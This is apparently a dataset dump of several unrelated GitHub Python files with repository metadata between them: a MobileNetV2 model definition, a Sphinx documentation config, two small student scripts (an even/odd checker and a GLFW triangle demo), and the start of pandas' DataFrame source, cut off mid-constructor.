activation_layer: Optional[Callable[..., nn.Module]] = None,
dilation: int = 1,
) -> None:
padding = (kernel_size - 1) // 2 * dilation
if norm_layer is None:
norm_layer = nn.BatchNorm2d
if activation_layer is None:
activation_layer = nn.ReLU6
super().__init__(
nn.Conv2d(in_planes, out_planes, kernel_size, stride, padding, dilation=dilation, groups=groups,
bias=False),
norm_layer(out_planes),
activation_layer(inplace=True)
)
self.out_channels = out_planes
# necessary for backwards compatibility
ConvBNReLU = ConvBNActivation
class InvertedResidual(nn.Module):
def __init__(
self,
inp: int,
oup: int,
stride: int,
expand_ratio: int,
norm_layer: Optional[Callable[..., nn.Module]] = None
) -> None:
super(InvertedResidual, self).__init__()
self.stride = stride
assert stride in [1, 2]
if norm_layer is None:
norm_layer = nn.BatchNorm2d
hidden_dim = int(round(inp * expand_ratio))
self.use_res_connect = self.stride == 1 and inp == oup
layers: List[nn.Module] = []
if expand_ratio != 1:
# pw
layers.append(ConvBNReLU(inp, hidden_dim, kernel_size=1, norm_layer=norm_layer))
layers.extend([
# dw
ConvBNReLU(hidden_dim, hidden_dim, stride=stride, groups=hidden_dim, norm_layer=norm_layer),
# pw-linear
nn.Conv2d(hidden_dim, oup, 1, 1, 0, bias=False),
norm_layer(oup),
])
self.conv = nn.Sequential(*layers)
self.out_channels = oup
self._is_cn = stride > 1
def forward(self, x: Tensor) -> Tensor:
if self.use_res_connect:
return x + self.conv(x)
else:
return self.conv(x)
class MobileNetV2(nn.Module):
def __init__(
self,
num_classes: int = 1000,
width_mult: float = 1.0,
inverted_residual_setting: Optional[List[List[int]]] = None,
round_nearest: int = 8,
block: Optional[Callable[..., nn.Module]] = None,
norm_layer: Optional[Callable[..., nn.Module]] = None
) -> None:
"""
MobileNet V2 main class
Args:
num_classes (int): Number of classes
width_mult (float): Width multiplier - adjusts number of channels in each layer by this amount
inverted_residual_setting: Network structure
round_nearest (int): Round the number of channels in each layer to be a multiple of this number
Set to 1 to turn off rounding
block: Module specifying inverted residual building block for mobilenet
norm_layer: Module specifying the normalization layer to use
"""
super(MobileNetV2, self).__init__()
if block is None:
block = InvertedResidual
if norm_layer is None:
norm_layer = nn.BatchNorm2d
input_channel = 32
last_channel = 1280
if inverted_residual_setting is None:
inverted_residual_setting = [
# t, c, n, s
[1, 16, 1, 1],
[6, 24, 2, 2],
[6, 32, 3, 2],
[6, 64, 4, 2],
[6, 96, 3, 1],
[6, 160, 3, 2],
[6, 320, 1, 1],
]
# only check the first element, assuming user knows t,c,n,s are required
if len(inverted_residual_setting) == 0 or len(inverted_residual_setting[0]) != 4:
raise ValueError("inverted_residual_setting should be non-empty "
"or a 4-element list, got {}".format(inverted_residual_setting))
# building first layer
input_channel = _make_divisible(input_channel * width_mult, round_nearest)
self.last_channel = _make_divisible(last_channel * max(1.0, width_mult), round_nearest)
features: List[nn.Module] = [ConvBNReLU(3, input_channel, stride=2, norm_layer=norm_layer)]
# building inverted residual blocks
for t, c, n, s in inverted_residual_setting:
output_channel = _make_divisible(c * width_mult, round_nearest)
for i in range(n):
stride = s if i == 0 else 1
features.append(block(input_channel, output_channel, stride, expand_ratio=t, norm_layer=norm_layer))
input_channel = output_channel
# building last several layers
features.append(ConvBNReLU(input_channel, self.last_channel, kernel_size=1, norm_layer=norm_layer))
# make it nn.Sequential
self.features = nn.Sequential(*features)
# building classifier
self.classifier = nn.Sequential(
nn.Dropout(0.2),
nn.Linear(self.last_channel, num_classes),
)
# weight initialization
for m in self.modules():
if isinstance(m, nn.Conv2d):
nn.init.kaiming_normal_(m.weight, mode='fan_out')
if m.bias is not None:
nn.init.zeros_(m.bias)
elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)):
nn.init.ones_(m.weight)
nn.init.zeros_(m.bias)
elif isinstance(m, nn.Linear):
nn.init.normal_(m.weight, 0, 0.01)
nn.init.zeros_(m.bias)
def _forward_impl(self, x: Tensor) -> Tensor:
# This exists since TorchScript doesn't support inheritance, so the superclass method
# (this one) needs to have a name other than `forward` that can be accessed in a subclass
x = self.features(x)
# Cannot use "squeeze" as batch-size can be 1
x = nn.functional.adaptive_avg_pool2d(x, (1, 1))
x = torch.flatten(x, 1)
x = self.classifier(x)
return x
def forward(self, x: Tensor) -> Tensor:
return self._forward_impl(x)
def mobilenet_v2(pretrained: bool = False, progress: bool = True, **kwargs: Any) -> MobileNetV2:
"""
Constructs a MobileNetV2 architecture from
`"MobileNetV2: Inverted Residuals and Linear Bottlenecks" <https://arxiv.org/abs/1801.04381>`_.
Args:
pretrained (bool): If True, returns a model pre-trained on ImageNet
progress (bool): If True, displays a progress bar of the download to stderr
"""
model = MobileNetV2(**kwargs)
if pretrained:
state_dict = load_state_dict_from_url(model_urls['mobilenet_v2'],
progress=progress)
model.load_state_dict(state_dict)
return model
|
[
"noreply@github.com"
] |
DevPranjal.noreply@github.com
|
3011d9b9552ae31e2ca615d70efc1731a287000d
|
15287616c871bf92a739d47a9acfe5ad02f93fa4
|
/docs/conf.py
|
0eeca1c8575ea173727afebca284eaa54eb0d6fa
|
[] |
no_license
|
IflytekAIUI/DemoCode
|
10a3a9b2b1d1ec2ac8239cd5fc730662e0577547
|
414da5f64b7834cfc27e803b185be62fb7db1100
|
refs/heads/master
| 2022-12-09T17:36:41.850277
| 2022-07-13T09:36:41
| 2022-07-13T09:36:41
| 101,713,655
| 116
| 181
| null | 2022-12-08T15:46:45
| 2017-08-29T03:13:01
|
Java
|
UTF-8
|
Python
| false
| false
| 11,236
|
py
|
# -*- coding: utf-8 -*-
#
# aiui-sdk documentation build configuration file, created by
# sphinx-quickstart on Wed Mar 30 13:55:25 2022.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.
import sys
import os
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#sys.path.insert(0, os.path.abspath('.'))
# -- General configuration ------------------------------------------------
# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'
# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
'sphinx_rtd_theme'
]
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
source_suffix = ['.rst', '.md']
# The encoding of source files.
#source_encoding = 'utf-8-sig'
# The master toctree document.
master_doc = 'index'
# General information about the project.
project = u'aiui-sdk'
copyright = u'2022, iflytek'
author = u'zrmei'
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = u'1.0.0'
# The full version, including alpha/beta/rc tags.
release = u'1.0.0'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = 'en'
# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']
# The reST default role (used for this markup: `text`) to use for all
# documents.
#default_role = None
# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True
# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True
# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'
# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []
# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False
# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = False
# -- Options for HTML output ----------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
html_theme = 'sphinx_rtd_theme'
# Theme options are theme-specific and customize the look and feel of a theme
# further. For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}
# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []
# The name for this set of Sphinx documents. If None, it defaults to
# "<project> v<release> documentation".
#html_title = None
# A shorter title for the navigation bar. Default is the same as html_title.
#html_short_title = None
# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None
# The name of an image file (relative to this directory) to use as a favicon of
# the docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
def setup(app):
app.add_css_file("aiui.css")
# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []
# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'
# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True
# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}
# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}
# If false, no module index is generated.
#html_domain_indices = True
# If false, no index is generated.
#html_use_index = True
# If true, the index is split into individual pages for each letter.
#html_split_index = False
# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True
# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True
# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True
# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it. The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''
# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None
# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
# 'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
# 'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
#html_search_language = 'en'
# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
#html_search_options = {'type': 'default'}
# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#html_search_scorer = 'scorer.js'
# Output file base name for HTML help builder.
htmlhelp_basename = 'aiui-sdkdoc'
# -- Options for LaTeX output ---------------------------------------------
latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#'papersize': 'letterpaper',
# The font size ('10pt', '11pt' or '12pt').
#'pointsize': '10pt',
# Additional stuff for the LaTeX preamble.
#'preamble': '',
# Latex figure (float) alignment
#'figure_align': 'htbp',
}
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
# author, documentclass [howto, manual, or own class]).
latex_documents = [
(master_doc, 'aiui-sdk.tex', u'aiui-sdk Documentation',
u'zrmei', 'manual'),
]
# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None
# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False
# If true, show page references after internal links.
#latex_show_pagerefs = False
# If true, show URL addresses after external links.
#latex_show_urls = False
# Documents to append as an appendix to all manuals.
#latex_appendices = []
# If false, no module index is generated.
#latex_domain_indices = True
# -- Options for manual page output ---------------------------------------
# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
(master_doc, 'aiui-sdk', u'aiui-sdk Documentation',
[author], 1)
]
# If true, show URL addresses after external links.
#man_show_urls = False
# -- Options for Texinfo output -------------------------------------------
# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
# dir menu entry, description, category)
texinfo_documents = [
(master_doc, 'aiui-sdk', u'aiui-sdk Documentation',
author, 'aiui-sdk', 'One line description of project.',
'Miscellaneous'),
]
# Documents to append as an appendix to all manuals.
#texinfo_appendices = []
# If false, no module index is generated.
#texinfo_domain_indices = True
# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'
# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False
# -- Options for Epub output ----------------------------------------------
# Bibliographic Dublin Core info.
epub_title = project
epub_author = author
epub_publisher = author
epub_copyright = copyright
# The basename for the epub file. It defaults to the project name.
#epub_basename = project
# The HTML theme for the epub output. Since the default themes are not
# optimized for small screen space, using the same theme for HTML and epub
# output is usually not wise. This defaults to 'epub', a theme designed to save
# visual space.
#epub_theme = 'epub'
# The language of the text. It defaults to the language option
# or 'en' if the language is not set.
#epub_language = ''
# The scheme of the identifier. Typical schemes are ISBN or URL.
#epub_scheme = ''
# The unique identifier of the text. This can be a ISBN number
# or the project homepage.
#epub_identifier = ''
# A unique identification for the text.
#epub_uid = ''
# A tuple containing the cover image and cover page html template filenames.
#epub_cover = ()
# A sequence of (type, uri, title) tuples for the guide element of content.opf.
#epub_guide = ()
# HTML files that should be inserted before the pages created by sphinx.
# The format is a list of tuples containing the path and title.
#epub_pre_files = []
# HTML files that should be inserted after the pages created by sphinx.
# The format is a list of tuples containing the path and title.
#epub_post_files = []
# A list of files that should not be packed into the epub file.
epub_exclude_files = ['search.html']
# The depth of the table of contents in toc.ncx.
#epub_tocdepth = 3
# Allow duplicate toc entries.
#epub_tocdup = True
# Choose between 'default' and 'includehidden'.
#epub_tocscope = 'default'
# Fix unsupported image types using the Pillow.
#epub_fix_images = False
# Scale large images.
#epub_max_image_width = 0
# How to display URL addresses: 'footnote', 'no', or 'inline'.
#epub_show_urls = 'inline'
# If false, no index is generated.
#epub_use_index = True
|
[
"noreply@github.com"
] |
IflytekAIUI.noreply@github.com
|
e1b94b21593ef07693e8def5f91e889427743348
|
5819de74cc91248addbd1851b2ef72751c4fb28f
|
/evod.py
|
4603d8d170ce4f0e24d5a2b8b8957bbfe1d7b62b
|
[] |
no_license
|
HARIDHARSHINI04/hd
|
af69381a1316160fbb24e3d3b7684f8514503cc5
|
9a621eef945f5c2cf52484a7f5bdfabdbd7c625a
|
refs/heads/master
| 2020-06-02T08:22:54.895600
| 2019-07-03T15:41:28
| 2019-07-03T15:41:28
| 191,097,090
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 115
|
py
|
n=int(input("enter the number"))
if(n%2==0):
print("even")
elif(n%2!=0):
print("odd")
else:
print("invalid")
|
[
"noreply@github.com"
] |
HARIDHARSHINI04.noreply@github.com
|
9586d8221e240c0106de05a40608afe647068262
|
8626082f76145dc3de33bab75e6ede167bdb7876
|
/GC/Tareas/T1/T1-0-BRC-GLFW.py
|
f840b334af14301becf6ed444dc828fb1345f63d
|
[
"MIT",
"WTFPL"
] |
permissive
|
BenchHPZ/UG-Compu
|
54f306d73676a8f32fd46e739370c8708f9794b4
|
fa3551a862ee04b59a5ba97a791f39a77ce2df60
|
refs/heads/master
| 2023-02-22T22:28:13.833422
| 2021-01-21T20:04:26
| 2021-01-21T20:04:26
| 293,017,304
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 961
|
py
|
import glfw
import OpenGL.GL as gl
import moderngl.Context as mgc
def main():
# Inicializar libreria
if not glfw.init():
return
# Crear ventana
ventana = glfw.create_window(700, 500,
"Tarea 1 de Graficos por Computadora en Python",
None, None)
# Precaucion
if not ventana:
glfw.terminate()
return
# Establecer contexto con la ventana
glfw.make_context_current(ventana)
# Ciclo de aplicacion
while not glfw.window_should_close(ventana):
gl.glClear( gl.GL_COLOR_BUFFER_BIT )
gl.glBegin( gl.GL_TRIANGLES )
gl.glVertex2f(-0.5,-0.5);
gl.glVertex2f( 0.0, 0.5);
gl.glVertex2f( 0.5,-0.5);
gl.glEnd()
# Swap front and back buffers
glfw.swap_buffers(ventana)
# Poll for and process events
glfw.poll_events()
# Terminar GLFW
glfw.terminate()
if __name__ == "__main__":
main()
|
[
"benchhpz@gmail.com"
] |
benchhpz@gmail.com
|
bab2acb31f3ae4d1ebde585832fe085c1d1febf0
|
a56aac1a25cdd64bc17fb9f24935e8d87c692339
|
/venv/lib/python3.10/site-packages/pandas/core/frame.py
|
298d0ac0f84202406e3756e684a978861203492e
|
[] |
no_license
|
kyamasaki12/dnd_damage_calc
|
ea40cb9a8cea7413131f881bc9705cd8f2a28246
|
d39ec59cb093f912d580698c6720f1f561b25867
|
refs/heads/master
| 2022-11-07T20:11:44.924609
| 2022-10-03T03:12:11
| 2022-10-03T03:12:11
| 183,676,507
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 377,087
|
py
|
"""
DataFrame
---------
An efficient 2D container for potentially mixed-type time series or other
labeled data series.
Similar to its R counterpart, data.frame, except providing automatic data
alignment and a host of useful data manipulation methods having to do with the
labeling information
"""
from __future__ import annotations
import collections
from collections import abc
import datetime
import functools
from io import StringIO
import itertools
from textwrap import dedent
from typing import (
IO,
TYPE_CHECKING,
Any,
Callable,
Hashable,
Iterable,
Iterator,
Literal,
Sequence,
cast,
overload,
)
import warnings
import numpy as np
import numpy.ma as ma
from pandas._config import get_option
from pandas._libs import (
algos as libalgos,
lib,
properties,
)
from pandas._libs.hashtable import duplicated
from pandas._libs.lib import no_default
from pandas._typing import (
AggFuncType,
AnyArrayLike,
ArrayLike,
Axes,
Axis,
ColspaceArgType,
CompressionOptions,
Dtype,
DtypeObj,
FilePath,
FillnaOptions,
FloatFormatType,
FormattersType,
Frequency,
IndexKeyFunc,
IndexLabel,
Level,
PythonFuncType,
ReadBuffer,
Renamer,
Scalar,
StorageOptions,
Suffixes,
TimedeltaConvertibleTypes,
TimestampConvertibleTypes,
ValueKeyFunc,
WriteBuffer,
npt,
)
from pandas.compat._optional import import_optional_dependency
from pandas.compat.numpy import function as nv
from pandas.util._decorators import (
Appender,
Substitution,
deprecate_kwarg,
deprecate_nonkeyword_arguments,
doc,
rewrite_axis_style_signature,
)
from pandas.util._exceptions import find_stack_level
from pandas.util._validators import (
validate_ascending,
validate_axis_style_args,
validate_bool_kwarg,
validate_percentile,
)
from pandas.core.dtypes.cast import (
construct_1d_arraylike_from_scalar,
construct_2d_arraylike_from_scalar,
find_common_type,
infer_dtype_from_scalar,
invalidate_string_dtypes,
maybe_box_native,
maybe_downcast_to_dtype,
)
from pandas.core.dtypes.common import (
ensure_platform_int,
infer_dtype_from_object,
is_1d_only_ea_dtype,
is_1d_only_ea_obj,
is_bool_dtype,
is_dataclass,
is_datetime64_any_dtype,
is_dict_like,
is_dtype_equal,
is_extension_array_dtype,
is_float,
is_float_dtype,
is_hashable,
is_integer,
is_integer_dtype,
is_iterator,
is_list_like,
is_object_dtype,
is_scalar,
is_sequence,
pandas_dtype,
)
from pandas.core.dtypes.dtypes import ExtensionDtype
from pandas.core.dtypes.missing import (
isna,
notna,
)
from pandas.core import (
algorithms,
common as com,
nanops,
ops,
)
from pandas.core.accessor import CachedAccessor
from pandas.core.apply import (
reconstruct_func,
relabel_result,
)
from pandas.core.array_algos.take import take_2d_multi
from pandas.core.arraylike import OpsMixin
from pandas.core.arrays import (
DatetimeArray,
ExtensionArray,
TimedeltaArray,
)
from pandas.core.arrays.sparse import SparseFrameAccessor
from pandas.core.construction import (
extract_array,
sanitize_array,
sanitize_masked_array,
)
from pandas.core.generic import NDFrame
from pandas.core.indexers import check_key_length
from pandas.core.indexes.api import (
DatetimeIndex,
Index,
PeriodIndex,
default_index,
ensure_index,
ensure_index_from_sequences,
)
from pandas.core.indexes.multi import (
MultiIndex,
maybe_droplevels,
)
from pandas.core.indexing import (
check_bool_indexer,
check_deprecated_indexers,
convert_to_index_sliceable,
)
from pandas.core.internals import (
ArrayManager,
BlockManager,
)
from pandas.core.internals.construction import (
arrays_to_mgr,
dataclasses_to_dicts,
dict_to_mgr,
mgr_to_mgr,
ndarray_to_mgr,
nested_data_to_arrays,
rec_array_to_mgr,
reorder_arrays,
to_arrays,
treat_as_nested,
)
from pandas.core.reshape.melt import melt
from pandas.core.series import Series
from pandas.core.shared_docs import _shared_docs
from pandas.core.sorting import (
get_group_index,
lexsort_indexer,
nargsort,
)
from pandas.io.common import get_handle
from pandas.io.formats import (
console,
format as fmt,
)
from pandas.io.formats.info import (
INFO_DOCSTRING,
DataFrameInfo,
frame_sub_kwargs,
)
import pandas.plotting
if TYPE_CHECKING:
from pandas.core.groupby.generic import DataFrameGroupBy
from pandas.core.internals import SingleDataManager
from pandas.core.resample import Resampler
from pandas.io.formats.style import Styler
# ---------------------------------------------------------------------
# Docstring templates
_shared_doc_kwargs = {
"axes": "index, columns",
"klass": "DataFrame",
"axes_single_arg": "{0 or 'index', 1 or 'columns'}",
"axis": """axis : {0 or 'index', 1 or 'columns'}, default 0
If 0 or 'index': apply function to each column.
If 1 or 'columns': apply function to each row.""",
"inplace": """
inplace : bool, default False
If True, performs operation inplace and returns None.""",
"optional_by": """
by : str or list of str
Name or list of names to sort by.
- if `axis` is 0 or `'index'` then `by` may contain index
levels and/or column labels.
- if `axis` is 1 or `'columns'` then `by` may contain column
levels and/or index labels.""",
"optional_labels": """labels : array-like, optional
New labels / index to conform the axis specified by 'axis' to.""",
"optional_axis": """axis : int or str, optional
Axis to target. Can be either the axis name ('index', 'columns')
or number (0, 1).""",
"replace_iloc": """
This differs from updating with ``.loc`` or ``.iloc``, which require
you to specify a location to update with some value.""",
}
_numeric_only_doc = """numeric_only : bool or None, default None
Include only float, int, boolean data. If None, will attempt to use
everything, then use only numeric data
"""
_merge_doc = """
Merge DataFrame or named Series objects with a database-style join.
A named Series object is treated as a DataFrame with a single named column.
The join is done on columns or indexes. If joining columns on
columns, the DataFrame indexes *will be ignored*. Otherwise if joining indexes
on indexes or indexes on a column or columns, the index will be passed on.
When performing a cross merge, no column specifications to merge on are
allowed.
.. warning::
If both key columns contain rows where the key is a null value, those
rows will be matched against each other. This is different from usual SQL
join behaviour and can lead to unexpected results.
Parameters
----------%s
right : DataFrame or named Series
Object to merge with.
how : {'left', 'right', 'outer', 'inner', 'cross'}, default 'inner'
Type of merge to be performed.
* left: use only keys from left frame, similar to a SQL left outer join;
preserve key order.
* right: use only keys from right frame, similar to a SQL right outer join;
preserve key order.
* outer: use union of keys from both frames, similar to a SQL full outer
join; sort keys lexicographically.
* inner: use intersection of keys from both frames, similar to a SQL inner
join; preserve the order of the left keys.
* cross: creates the cartesian product from both frames, preserves the order
of the left keys.
.. versionadded:: 1.2.0
on : label or list
Column or index level names to join on. These must be found in both
DataFrames. If `on` is None and not merging on indexes then this defaults
to the intersection of the columns in both DataFrames.
left_on : label or list, or array-like
Column or index level names to join on in the left DataFrame. Can also
be an array or list of arrays of the length of the left DataFrame.
These arrays are treated as if they are columns.
right_on : label or list, or array-like
Column or index level names to join on in the right DataFrame. Can also
be an array or list of arrays of the length of the right DataFrame.
These arrays are treated as if they are columns.
left_index : bool, default False
Use the index from the left DataFrame as the join key(s). If it is a
MultiIndex, the number of keys in the other DataFrame (either the index
or a number of columns) must match the number of levels.
right_index : bool, default False
Use the index from the right DataFrame as the join key. Same caveats as
left_index.
sort : bool, default False
Sort the join keys lexicographically in the result DataFrame. If False,
the order of the join keys depends on the join type (how keyword).
suffixes : list-like, default is ("_x", "_y")
A length-2 sequence where each element is optionally a string
indicating the suffix to add to overlapping column names in
`left` and `right` respectively. Pass a value of `None` instead
of a string to indicate that the column name from `left` or
`right` should be left as-is, with no suffix. At least one of the
values must not be None.
copy : bool, default True
If False, avoid copy if possible.
indicator : bool or str, default False
If True, adds a column to the output DataFrame called "_merge" with
information on the source of each row. The column can be given a different
name by providing a string argument. The column will have a Categorical
type with the value of "left_only" for observations whose merge key only
appears in the left DataFrame, "right_only" for observations
whose merge key only appears in the right DataFrame, and "both"
if the observation's merge key is found in both DataFrames.
validate : str, optional
If specified, checks if merge is of specified type.
* "one_to_one" or "1:1": check if merge keys are unique in both
left and right datasets.
* "one_to_many" or "1:m": check if merge keys are unique in left
dataset.
* "many_to_one" or "m:1": check if merge keys are unique in right
dataset.
* "many_to_many" or "m:m": allowed, but does not result in checks.
Returns
-------
DataFrame
A DataFrame of the two merged objects.
See Also
--------
merge_ordered : Merge with optional filling/interpolation.
merge_asof : Merge on nearest keys.
DataFrame.join : Similar method using indices.
Notes
-----
Support for specifying index levels as the `on`, `left_on`, and
`right_on` parameters was added in version 0.23.0
Support for merging named Series objects was added in version 0.24.0
Examples
--------
>>> df1 = pd.DataFrame({'lkey': ['foo', 'bar', 'baz', 'foo'],
... 'value': [1, 2, 3, 5]})
>>> df2 = pd.DataFrame({'rkey': ['foo', 'bar', 'baz', 'foo'],
... 'value': [5, 6, 7, 8]})
>>> df1
lkey value
0 foo 1
1 bar 2
2 baz 3
3 foo 5
>>> df2
rkey value
0 foo 5
1 bar 6
2 baz 7
3 foo 8
Merge df1 and df2 on the lkey and rkey columns. The value columns have
the default suffixes, _x and _y, appended.
>>> df1.merge(df2, left_on='lkey', right_on='rkey')
lkey value_x rkey value_y
0 foo 1 foo 5
1 foo 1 foo 8
2 foo 5 foo 5
3 foo 5 foo 8
4 bar 2 bar 6
5 baz 3 baz 7
Merge DataFrames df1 and df2 with specified left and right suffixes
appended to any overlapping columns.
>>> df1.merge(df2, left_on='lkey', right_on='rkey',
... suffixes=('_left', '_right'))
lkey value_left rkey value_right
0 foo 1 foo 5
1 foo 1 foo 8
2 foo 5 foo 5
3 foo 5 foo 8
4 bar 2 bar 6
5 baz 3 baz 7
Merge DataFrames df1 and df2, but raise an exception if the DataFrames have
any overlapping columns.
>>> df1.merge(df2, left_on='lkey', right_on='rkey', suffixes=(False, False))
Traceback (most recent call last):
...
ValueError: columns overlap but no suffix specified:
Index(['value'], dtype='object')
>>> df1 = pd.DataFrame({'a': ['foo', 'bar'], 'b': [1, 2]})
>>> df2 = pd.DataFrame({'a': ['foo', 'baz'], 'c': [3, 4]})
>>> df1
a b
0 foo 1
1 bar 2
>>> df2
a c
0 foo 3
1 baz 4
>>> df1.merge(df2, how='inner', on='a')
a b c
0 foo 1 3
>>> df1.merge(df2, how='left', on='a')
a b c
0 foo 1 3.0
1 bar 2 NaN
>>> df1 = pd.DataFrame({'left': ['foo', 'bar']})
>>> df2 = pd.DataFrame({'right': [7, 8]})
>>> df1
left
0 foo
1 bar
>>> df2
right
0 7
1 8
>>> df1.merge(df2, how='cross')
left right
0 foo 7
1 foo 8
2 bar 7
3 bar 8
"""
# -----------------------------------------------------------------------
# DataFrame class
class DataFrame(NDFrame, OpsMixin):
"""
Two-dimensional, size-mutable, potentially heterogeneous tabular data.
Data structure also contains labeled axes (rows and columns).
Arithmetic operations align on both row and column labels. Can be
thought of as a dict-like container for Series objects. The primary
pandas data structure.
Parameters
----------
data : ndarray (structured or homogeneous), Iterable, dict, or DataFrame
Dict can contain Series, arrays, constants, dataclass or list-like objects. If
data is a dict, column order follows insertion-order. If a dict contains Series
which have an index defined, it is aligned by its index.
.. versionchanged:: 0.25.0
If data is a list of dicts, column order follows insertion-order.
index : Index or array-like
Index to use for resulting frame. Will default to RangeIndex if
no indexing information part of input data and no index provided.
columns : Index or array-like
Column labels to use for resulting frame when data does not have them,
defaulting to RangeIndex(0, 1, 2, ..., n). If data contains column labels,
will perform column selection instead.
dtype : dtype, default None
Data type to force. Only a single dtype is allowed. If None, infer.
copy : bool or None, default None
Copy data from inputs.
For dict data, the default of None behaves like ``copy=True``. For DataFrame
or 2d ndarray input, the default of None behaves like ``copy=False``.
.. versionchanged:: 1.3.0
See Also
--------
DataFrame.from_records : Constructor from tuples, also record arrays.
DataFrame.from_dict : From dicts of Series, arrays, or dicts.
read_csv : Read a comma-separated values (csv) file into DataFrame.
read_table : Read general delimited file into DataFrame.
read_clipboard : Read text from clipboard into DataFrame.
Examples
--------
Constructing DataFrame from a dictionary.
>>> d = {'col1': [1, 2], 'col2': [3, 4]}
>>> df = pd.DataFrame(data=d)
>>> df
col1 col2
0 1 3
1 2 4
Notice that the inferred dtype is int64.
>>> df.dtypes
col1 int64
col2 int64
dtype: object
To enforce a single dtype:
>>> df = pd.DataFrame(data=d, dtype=np.int8)
>>> df.dtypes
col1 int8
col2 int8
dtype: object
Constructing DataFrame from a dictionary including Series:
>>> d = {'col1': [0, 1, 2, 3], 'col2': pd.Series([2, 3], index=[2, 3])}
>>> pd.DataFrame(data=d, index=[0, 1, 2, 3])
col1 col2
0 0 NaN
1 1 NaN
2 2 2.0
3 3 3.0
Constructing DataFrame from numpy ndarray:
>>> df2 = pd.DataFrame(np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]]),
... columns=['a', 'b', 'c'])
>>> df2
a b c
0 1 2 3
1 4 5 6
2 7 8 9
Constructing DataFrame from a numpy ndarray that has labeled columns:
>>> data = np.array([(1, 2, 3), (4, 5, 6), (7, 8, 9)],
... dtype=[("a", "i4"), ("b", "i4"), ("c", "i4")])
>>> df3 = pd.DataFrame(data, columns=['c', 'a'])
...
>>> df3
c a
0 3 1
1 6 4
2 9 7
Constructing DataFrame from dataclass:
>>> from dataclasses import make_dataclass
>>> Point = make_dataclass("Point", [("x", int), ("y", int)])
>>> pd.DataFrame([Point(0, 0), Point(0, 3), Point(2, 3)])
x y
0 0 0
1 0 3
2 2 3
"""
_internal_names_set = {"columns", "index"} | NDFrame._internal_names_set
_typ = "dataframe"
_HANDLED_TYPES = (Series, Index, ExtensionArray, np.ndarray)
_accessors: set[str] = {"sparse"}
_hidden_attrs: frozenset[str] = NDFrame._hidden_attrs | frozenset([])
_mgr: BlockManager | ArrayManager
@property
def _constructor(self) -> Callable[..., DataFrame]:
return DataFrame
_constructor_sliced: Callable[..., Series] = Series
# ----------------------------------------------------------------------
# Constructors
def __init__(
self,
data=None,
index: Axes | None = None,
columns: Axes | None = None,
dtype: Dtype | None = None,
copy: bool | None = None,
):
if data is None:
data = {}
if dtype is not None:
